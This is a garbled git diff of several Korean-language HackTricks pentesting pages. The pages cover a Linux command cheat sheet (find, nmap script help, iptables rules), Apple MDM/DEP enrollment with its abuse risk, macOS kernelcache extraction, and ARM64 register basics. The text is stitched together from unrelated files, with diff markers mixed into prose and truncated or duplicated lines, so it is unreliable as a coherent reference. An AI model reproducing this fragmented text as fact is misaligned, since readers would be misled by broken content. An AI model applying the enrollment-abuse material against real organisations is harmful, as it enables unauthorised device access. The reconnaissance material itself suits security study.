find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
```
|
||||
## Nmap 검색 도움말
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
## Bash
|
||||
|
||||
## 배시
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
### iptables란 무엇인가요?
|
||||
iptables는 Linux 시스템에서 네트워크 트래픽을 제어하는 데 사용되는 유용한 도구입니다. 방화벽 규칙을 설정하고 관리하여 시스템의 보안을 강화하는 데 도움이 됩니다.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
iptables --delete-chain
|
||||
|
||||
#allow loopback
|
||||
iptables -A INPUT -i lo -j ACCEPT
|
||||
iptables -A OUTPUT -o lo -j ACCEPT
|
||||
|
||||
#drop ICMP
|
||||
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
||||
iptables -A OUTPUT -p icmp -j DROP
|
||||
|
||||
#allow established connections
|
||||
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||
|
||||
#allow ssh, http, https, dns
|
||||
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
||||
|
||||
#default policies
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -22,20 +22,23 @@ HackTricks를 지원하는 다른 방법:
|
|||
## 기본 사항
|
||||
|
||||
### **MDM (Mobile Device Management) 개요**
|
||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM)은 스마트폰, 노트북, 태블릿과 같은 다양한 엔드 유저 장치를 관리하기 위해 사용됩니다. 특히 Apple의 플랫폼 (iOS, macOS, tvOS)의 경우, 특수한 기능, API 및 관행을 포함합니다. MDM의 작동은 상용 또는 오픈 소스인 호환 가능한 MDM 서버에 의존하며 [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 포인트는 다음과 같습니다:
|
||||
|
||||
- 장치에 대한 중앙 집중식 제어.
|
||||
- MDM 프로토콜을 준수하는 MDM 서버에 의존.
|
||||
- MDM 서버가 장치로 다양한 명령을 전송할 수 있는 능력, 예를 들어 원격 데이터 삭제 또는 구성 설치.
|
||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM)은 스마트폰, 노트북, 태블릿과 같은 다양한 엔드 유저 장치를 관리하기 위해 사용됩니다. 특히 Apple의 플랫폼 (iOS, macOS, tvOS)의 경우, 특수한 기능, API 및 관행을 포함합니다. MDM의 작동은 상용 또는 오픈 소스인 호환 가능한 MDM 서버에 의존하며 [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 포인트는 다음과 같습니다:
|
||||
|
||||
* 장치에 대한 중앙 집중식 제어.
|
||||
* MDM 프로토콜을 준수하는 MDM 서버에 의존.
|
||||
* MDM 서버가 장치로 다양한 명령을 전송할 수 있는 능력, 예를 들어 원격 데이터 삭제 또는 구성 설치.
|
||||
|
||||
### **DEP (Device Enrollment Program) 기본 사항**
|
||||
Apple이 제공하는 [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치의 Mobile Device Management (MDM) 통합을 간소화하기 위해 제공됩니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리자 개입으로 즉시 사용 가능하도록 합니다. 주요 측면은 다음과 같습니다:
|
||||
|
||||
- 장치가 초기 활성화 시 미리 정의된 MDM 서버에 자동으로 등록될 수 있도록 합니다.
|
||||
- 주로 새로운 장치에 유용하지만 재구성 중인 장치에도 적용할 수 있습니다.
|
||||
- 간단한 설정을 용이하게 만들어 조직에서 빠르게 사용할 수 있도록 합니다.
|
||||
Apple이 제공하는 [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치의 Mobile Device Management (MDM) 통합을 간소화하기 위해 제공됩니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리자 개입으로 즉시 사용 가능하도록 합니다. 주요 측면은 다음과 같습니다:
|
||||
|
||||
* 장치가 초기 활성화 시 미리 정의된 MDM 서버에 자동으로 등록될 수 있도록 합니다.
|
||||
* 주로 새로운 장치에 유용하지만 재구성 중인 장치에도 적용할 수 있습니다.
|
||||
* 간단한 설정을 용이하게 만들어 조직에서 빠르게 사용할 수 있도록 합니다.
|
||||
|
||||
### **보안 고려 사항**
|
||||
|
||||
DEP가 제공하는 간편한 등록 기능은 보안 위험을 초래할 수 있습니다. MDM 등록에 충분한 보호 조치가 적용되지 않으면 공격자는 기업 장치로 위장하여 조직의 MDM 서버에 장치를 등록할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -86,6 +89,7 @@ DEP가 제공하는 간편한 등록 기능은 보안 위험을 초래할 수
|
|||
## 일련 번호
|
||||
|
||||
2010년 이후에 제조된 Apple 장치는 일반적으로 **12자리 알파벳과 숫자**로 이루어진 일련 번호를 가지며, **첫 세 자리는 제조 위치**를 나타내고, 다음 **두 자리는 제조 연도와 주**를 나타내
|
||||
|
||||
### 단계 4: DEP 체크인 - 활성화 레코드 가져오기
|
||||
|
||||
이 과정은 **사용자가 Mac을 처음으로 부팅**할 때(또는 완전한 초기화 후) 발생합니다.
|
||||
|
@ -97,23 +101,23 @@ DEP가 제공하는 간편한 등록 기능은 보안 위험을 초래할 수
|
|||
* **장치가 DEP 활성화되었는지** 확인
|
||||
* 활성화 레코드는 DEP "프로필"의 내부 이름입니다.
|
||||
* 장치가 인터넷에 연결되면 시작됩니다.
|
||||
* **`CPFetchActivationRecord`**에 의해 구동됩니다.
|
||||
* **`cloudconfigurationd`**를 통해 구현됩니다. 장치가 처음으로 부팅될 때 "설정 도우미" 또는 `profiles` 명령이이 데몬에 연락하여 활성화 레코드를 검색합니다.
|
||||
* \*\*`CPFetchActivationRecord`\*\*에 의해 구동됩니다.
|
||||
* \*\*`cloudconfigurationd`\*\*를 통해 구현됩니다. 장치가 처음으로 부팅될 때 "설정 도우미" 또는 `profiles` 명령이이 데몬에 연락하여 활성화 레코드를 검색합니다.
|
||||
* LaunchDaemon (항상 root로 실행)
|
||||
|
||||
**`MCTeslaConfigurationFetcher`**에 의해 수행되는 활성화 레코드를 가져오기 위해 몇 가지 단계를 따릅니다. 이 프로세스는 **Absinthe**라는 암호화를 사용합니다.
|
||||
\*\*`MCTeslaConfigurationFetcher`\*\*에 의해 수행되는 활성화 레코드를 가져오기 위해 몇 가지 단계를 따릅니다. 이 프로세스는 **Absinthe**라는 암호화를 사용합니다.
|
||||
|
||||
1. **인증서** 가져오기
|
||||
1. [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)에서 GET
|
||||
2. 인증서에서 상태 **초기화** (**`NACInit`**)
|
||||
1. 다양한 장치별 데이터 사용 (예: **`IOKit`을 통한 일련 번호**)
|
||||
3. **세션 키** 가져오기
|
||||
1. [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)에 POST
|
||||
4. 세션 설정 (**`NACKeyEstablishment`**)
|
||||
5. 요청 만들기
|
||||
1. [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)에 데이터 `{ "action": "RequestProfileConfiguration", "sn": "" }`를 보내는 POST
|
||||
2. JSON 페이로드는 Absinthe (**`NACSign`**)를 사용하여 암호화됩니다.
|
||||
3. 모든 요청은 HTTPs를 통해 전송되며 내장 루트 인증서가 사용됩니다.
|
||||
2. [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)에서 GET
|
||||
3. 인증서에서 상태 **초기화** (**`NACInit`**)
|
||||
4. 다양한 장치별 데이터 사용 (예: **`IOKit`을 통한 일련 번호**)
|
||||
5. **세션 키** 가져오기
|
||||
6. [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)에 POST
|
||||
7. 세션 설정 (**`NACKeyEstablishment`**)
|
||||
8. 요청 만들기
|
||||
9. [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)에 데이터 `{ "action": "RequestProfileConfiguration", "sn": "" }`를 보내는 POST
|
||||
10. JSON 페이로드는 Absinthe (**`NACSign`**)를 사용하여 암호화됩니다.
|
||||
11. 모든 요청은 HTTPs를 통해 전송되며 내장 루트 인증서가 사용됩니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (566).png>)
|
||||
|
||||
|
@ -135,13 +139,13 @@ DEP가 제공하는 간편한 등록 기능은 보안 위험을 초래할 수
|
|||
* 장치 신원 인증서(애플 APNS에서 가져옴)를 사용하여 서명됨
|
||||
* **인증서 체인**에는 만료된 **Apple iPhone Device CA**가 포함됩니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png>)
|
||||
![](https://github.com/carlospolop/hacktricks/blob/kr/.gitbook/assets/image%20\(567\)%20\(1\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(7\).png)
|
||||
|
||||
### 단계 6: 프로필 설치
|
||||
|
||||
* 검색한 후, **프로필은 시스템에 저장**됩니다.
|
||||
* 이 단계는 자동으로 시작됩니다(설정 도우미에 있는 경우).
|
||||
* **`CPInstallActivationProfile`**에 의해 구동됩니다.
|
||||
* \*\*`CPInstallActivationProfile`\*\*에 의해 구동됩니다.
|
||||
* XPC를 통해 mdmclient에 의해 구현됨
|
||||
* LaunchDaemon (root로 실행) 또는 LaunchAgent (사용자로 실행), 상황에 따라 다름
|
||||
* 구성 프로필에는 설치할 여러 페이로드가 있습니다.
|
||||
|
@ -161,8 +165,8 @@ DEP가 제공하는 간편한 등록 기능은 보안 위험을 초래할 수
|
|||
*
|
||||
* MDM 체크인 URL (**`CheckInURL`**)
|
||||
* MDM 명령 폴링 URL (**`ServerURL`**) + 트리거하기 위한 APNs 주제
|
||||
* MDM 페이로드를 설치하기 위해 요청이 **`CheckInURL`**로 전송됩니다.
|
||||
* **`mdmclient`**에서 구현됩니다.
|
||||
* MDM 페이로드를 설치하기 위해 요청이 \*\*`CheckInURL`\*\*로 전송됩니다.
|
||||
* \*\*`mdmclient`\*\*에서 구현됩니다.
|
||||
* MDM 페이로드는 다른 페이로드에 의존할 수 있습니다.
|
||||
* 요청을 특정 인증서에 고정할 수 있게 합니다:
|
||||
* 속성: **`CheckInURLPinningCertificateUUIDs`**
|
||||
|
@ -174,12 +178,7 @@ DEP가 제공하는 간편한 등록 기능은 보안 위험을 초래할 수
|
|||
|
||||
### **단계 7: MDM 명령 수신 대기**
|
||||
|
||||
MDM 체크인이 완료되면 공급업체는 APNs를 사용하여 푸시 알림을 **발행**할 수 있습니다.
|
||||
수신 시 **`mdmclient`**가 처리합니다.
|
||||
MDM 명령을 폴링하기 위해 요청이 ServerURL로 전송됩니다.
|
||||
이전에 설치된 MDM 페이로드를 사용합니다:
|
||||
요청 고정을 위한 **`ServerURLPinningCertificateUUIDs`**
|
||||
TLS 클라이언트 인증서를 위한 **`IdentityCertificateUUID`**
|
||||
MDM 체크인이 완료되면 공급업체는 APNs를 사용하여 푸시 알림을 **발행**할 수 있습니다. 수신 시 \*\*`mdmclient`\*\*가 처리합니다. MDM 명령을 폴링하기 위해 요청이 ServerURL로 전송됩니다. 이전에 설치된 MDM 페이로드를 사용합니다: 요청 고정을 위한 **`ServerURLPinningCertificateUUIDs`** TLS 클라이언트 인증서를 위한 **`IdentityCertificateUUID`**
|
||||
|
||||
## 공격
|
||||
|
||||
|
@ -189,4 +188,7 @@ TLS 클라이언트 인증서를 위한 **`IdentityCertificateUUID`**
|
|||
따라서, 등록 프로세스가 올바르게 보호되지 않은 경우 공격자에게 위험한 진입점이 될 수 있습니다:
|
||||
|
||||
{% content-ref url="enrolling-devices-in-other-organisations.md" %}
|
||||
[enrolling-devices-in-other-
|
||||
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
\[enrolling-devices-in-other-
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS 커널 및 시스템 확장
|
||||
# macOS Kernel & System Extensions
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,14 +9,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## XNU 커널
|
||||
|
||||
**macOS의 핵심은 XNU**로, "X is Not Unix"의 약자입니다. 이 커널은 기본적으로 **Mach 마이크로커널**(나중에 설명됨)과 **버클리 소프트웨어 배포(BSD)**의 요소로 구성됩니다. XNU는 또한 **I/O Kit이라는 시스템을 통해 커널 드라이버에 대한 플랫폼을 제공**합니다. XNU 커널은 Darwin 오픈 소스 프로젝트의 일부이며, **소스 코드가 자유롭게 접근 가능**합니다.
|
||||
**macOS의 핵심은 XNU**로, "X is Not Unix"의 약자입니다. 이 커널은 기본적으로 **Mach 마이크로커널**(나중에 설명됨)과 \*\*버클리 소프트웨어 배포(BSD)\*\*의 요소로 구성됩니다. XNU는 또한 **I/O Kit이라는 시스템을 통해 커널 드라이버에 대한 플랫폼을 제공**합니다. XNU 커널은 Darwin 오픈 소스 프로젝트의 일부이며, **소스 코드가 자유롭게 접근 가능**합니다.
|
||||
|
||||
보안 연구원이나 Unix 개발자의 관점에서 보면, **macOS**는 우아한 GUI와 다양한 사용자 정의 애플리케이션을 갖춘 **FreeBSD** 시스템과 매우 **유사**할 수 있습니다. BSD용으로 개발된 대부분의 애플리케이션은 수정 없이 macOS에서 컴파일 및 실행될 수 있습니다. Unix 사용자에게 익숙한 명령줄 도구들이 macOS에 모두 포함되어 있기 때문입니다. 그러나 XNU 커널에는 Mach가 포함되어 있기 때문에 전통적인 Unix와 macOS 간에는 몇 가지 중요한 차이가 있으며, 이러한 차이로 인해 잠재적인 문제가 발생하거나 독특한 이점을 제공할 수 있습니다.
|
||||
|
||||
|
@ -53,17 +53,17 @@ I/O Kit은 XNU 커널의 오픈 소스, 객체 지향 **장치 드라이버 프
|
|||
|
||||
### IPC - 프로세스 간 통신
|
||||
|
||||
{% content-ref url="macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
|
||||
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 커널캐시
|
||||
|
||||
**커널캐시**는 XNU 커널의 **미리 컴파일되고 미리 연결된 버전**으로, 필수 장치 **드라이버** 및 **커널 확장**을 포함합니다. 이는 **압축된** 형식으로 저장되며 부팅 프로세스 중에 메모리로 압축 해제됩니다. 커널캐시는 부팅 시 동적으로 이러한 구성 요소를 로드하고 연결하는 데 소요되는 시간과 리소스를 줄여줌으로써 **빠른 부팅 시간**을 지원합니다.
|
||||
|
||||
iOS에서는 **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**에 위치하며 macOS에서는 **`find / -name kernelcache 2>/dev/null`** 또는 **`mdfind kernelcache | grep kernelcache`**로 찾을 수 있습니다.
|
||||
iOS에서는 \*\*`/System/Library/Caches/com.apple.kernelcaches/kernelcache`\*\*에 위치하며 macOS에서는 **`find / -name kernelcache 2>/dev/null`** 또는 \*\*`mdfind kernelcache | grep kernelcache`\*\*로 찾을 수 있습니다.
|
||||
|
||||
**`kextstat`**를 실행하여 로드된 커널 확장을 확인할 수 있습니다.
|
||||
\*\*`kextstat`\*\*를 실행하여 로드된 커널 확장을 확인할 수 있습니다.
|
||||
|
||||
#### IMG4
|
||||
|
||||
|
@ -83,6 +83,7 @@ IMG4 파일 형식은 Apple이 iOS 및 macOS 장치에서 **펌웨어 구성 요
|
|||
* 선택 사항: 일반적으로 이것은 찾을 수 없습니다
|
||||
|
||||
커널캐시를 압축 해제하세요:
|
||||
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
@ -90,6 +91,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
#### 커널캐시 심볼
|
||||
|
||||
가끔 애플은 **심볼**이 포함된 **커널캐시**를 공개합니다. [https://theapplewiki.com](https://theapplewiki.com/)의 링크를 따라가면 심볼이 포함된 펌웨어를 다운로드할 수 있습니다.
|
||||
|
@ -110,12 +112,15 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
다음 명령을 사용하여 추출된 커널캐시에 대한 심볼을 확인할 수 있습니다: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
이제 우리는 **모든 익스텐션** 또는 **관심 있는 하나를 추출**할 수 있습니다:
|
||||
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
|
@ -128,6 +133,7 @@ kextex_all kernelcache.release.iphone14.e
|
|||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
|
||||
## macOS 커널 확장자
|
||||
|
||||
macOS는 코드가 실행될 때 높은 권한으로 실행되기 때문에 **커널 확장자**(.kext)를 로드하는 것에 매우 제한적입니다. 사실, 기본적으로는 사실상 불가능합니다(우회 방법을 찾지 않는 이상).
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# ARM64v8 소개
|
||||
# Introduction to ARM64v8
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -19,15 +19,22 @@ HackTricks를 지원하는 다른 방법:
|
|||
ARMv8 아키텍처에서 실행 수준인 예외 수준 (EL)은 실행 환경의 권한 수준과 기능을 정의합니다. EL0부터 EL3까지 네 가지 예외 수준이 있으며 각각 다른 목적을 제공합니다:
|
||||
|
||||
1. **EL0 - 사용자 모드**:
|
||||
|
||||
* 이는 가장 낮은 권한 수준으로 일반 응용 프로그램 코드를 실행하는 데 사용됩니다.
|
||||
* EL0에서 실행되는 응용 프로그램은 서로 및 시스템 소프트웨어로부터 격리되어 보안성과 안정성을 향상시킵니다.
|
||||
|
||||
2. **EL1 - 운영 체제 커널 모드**:
|
||||
|
||||
* 대부분의 운영 체제 커널이 이 수준에서 실행됩니다.
|
||||
* EL1은 EL0보다 더 많은 권한을 가지며 시스템 자원에 액세스할 수 있지만 시스템 무결성을 보장하기 위해 일부 제한이 있습니다.
|
||||
|
||||
3. **EL2 - 하이퍼바이저 모드**:
|
||||
|
||||
* 이 수준은 가상화에 사용됩니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리 하드웨어에서 실행되는 여러 운영 체제 (각각이 고유한 EL1에서)를 관리할 수 있습니다.
|
||||
* EL2는 가상화 환경의 격리 및 제어 기능을 제공합니다.
|
||||
|
||||
4. **EL3 - 안전 모니터 모드**:
|
||||
|
||||
* 이는 가장 높은 권한 수준으로 안전 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
|
||||
* EL3는 안전 및 비안전 상태 간의 액세스를 관리하고 제어할 수 있습니다 (안전 부팅, 신뢰할 수 있는 OS 등).
|
||||
|
||||
|
@ -37,29 +44,40 @@ ARMv8 아키텍처에서 실행 수준인 예외 수준 (EL)은 실행 환경의
|
|||
|
||||
ARM64에는 `x0`부터 `x30`으로 레이블이 지정된 **31개의 범용 레지스터**가 있습니다. 각각은 **64비트** (8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업에 대해 동일한 레지스터는 `w0`부터 `w30`의 이름을 사용하여 32비트 모드에서 액세스할 수 있습니다.
|
||||
|
||||
1. **`x0`** ~ **`x7`** - 이들은 일반적으로 스크래치 레지스터로 사용되며 서브루틴에 매개변수를 전달하는 데 사용됩니다.
|
||||
* **`x0`**은 또한 함수의 반환 데이터를 운반합니다.
|
||||
1. **`x0`** \~ **`x7`** - 이들은 일반적으로 스크래치 레지스터로 사용되며 서브루틴에 매개변수를 전달하는 데 사용됩니다.
|
||||
|
||||
* \*\*`x0`\*\*은 또한 함수의 반환 데이터를 운반합니다.
|
||||
|
||||
2. **`x8`** - 리눅스 커널에서 `x8`은 `svc` 명령을 위한 시스템 호출 번호로 사용됩니다. **macOS에서는 x16이 사용됩니다!**
|
||||
3. **`x9`** ~ **`x15`** - 더 많은 임시 레지스터로서 종종 로컬 변수에 사용됩니다.
|
||||
3. **`x9`** \~ **`x15`** - 더 많은 임시 레지스터로서 종종 로컬 변수에 사용됩니다.
|
||||
4. **`x16`** 및 **`x17`** - **함수 내부 호출 레지스터**. 즉시 값에 대한 임시 레지스터입니다. 간접 함수 호출 및 PLT (Procedure Linkage Table) 스텁에도 사용됩니다.
|
||||
* **`x16`**은 **macOS**에서 **`svc`** 명령을 위한 **시스템 호출 번호**로 사용됩니다.
|
||||
|
||||
* \*\*`x16`\*\*은 **macOS**에서 **`svc`** 명령을 위한 **시스템 호출 번호**로 사용됩니다.
|
||||
|
||||
5. **`x18`** - **플랫폼 레지스터**. 일반적인 목적 레지스터로 사용될 수 있지만 일부 플랫폼에서는 이 레지스터가 플랫폼별 용도로 예약되어 있습니다: Windows의 현재 스레드 환경 블록을 가리키는 포인터 또는 리눅스 커널에서 현재 **실행 중인 작업 구조체를 가리키는 포인터**.
|
||||
6. **`x19`** ~ **`x28`** - 이들은 호출자 저장 레지스터입니다. 함수는 호출자를 위해 이러한 레지스터의 값을 보존해야 하므로 스택에 저장되고 호출자로 돌아가기 전에 복구되어야 합니다.
|
||||
6. **`x19`** \~ **`x28`** - 이들은 호출자 저장 레지스터입니다. 함수는 호출자를 위해 이러한 레지스터의 값을 보존해야 하므로 스택에 저장되고 호출자로 돌아가기 전에 복구되어야 합니다.
|
||||
